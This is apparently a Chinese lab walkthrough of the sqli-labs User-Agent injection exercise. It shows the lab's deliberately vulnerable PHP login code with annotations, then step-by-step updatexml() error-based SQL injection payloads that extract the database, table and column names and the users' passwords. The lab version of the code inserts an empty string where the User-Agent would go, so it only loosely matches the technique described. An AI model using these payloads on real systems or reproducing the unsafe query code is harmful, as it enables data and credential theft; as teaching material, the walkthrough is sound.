一.源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
//连接数据库

//检查变量
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}

不为空取前20个

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

对’，“，null,\过滤

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
//不是数字型过滤
else
{
$value = intval($value);
}

输出数值，空时为0
return $value;
}

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;

//输出ip
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
//检查uname，passwd
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/

//logging the connection parameters to a file for analysis. 
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");

fclose($fp);
//写入文件


$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

//不好过滤
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('', '$IP', $uname)";

//想办法抓包通过uagent
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';   
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());   
echo "<br><br>";
echo '<img src="../images/flag.jpg"  />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";   
echo "</br>";
echo '<img src="../images/slap.jpg"   />'; 
echo "</font>";  
}

}

?>

二.开始注入

1.找注入点

首先，分析源码发现，uname,passwd均被过滤

可以通过，uagent实现注入

uagent一般用报错注入

2.分组

与之前get和post注入不同，可以不分组直接实现注入，也可以进行分组

3.库名，表名，列名，用户密码

为什么用and不用or？

or的话是随机的可能会出错

php中and和=和&&的地位

&&>==>and

（1）' and updatexml(1,concat((select database())),3) and '1

' and updatexml(1,concat((select database())),3),2,3)#

（2）表名

1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3),2,3) #

(3)列名

1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3),2,3) #

（4）用户密码

1' and updatexml(1,concat('~',(select group_concat(username,password) from users)),3),2,3) #

也可用limit或者substr进行控制输出内容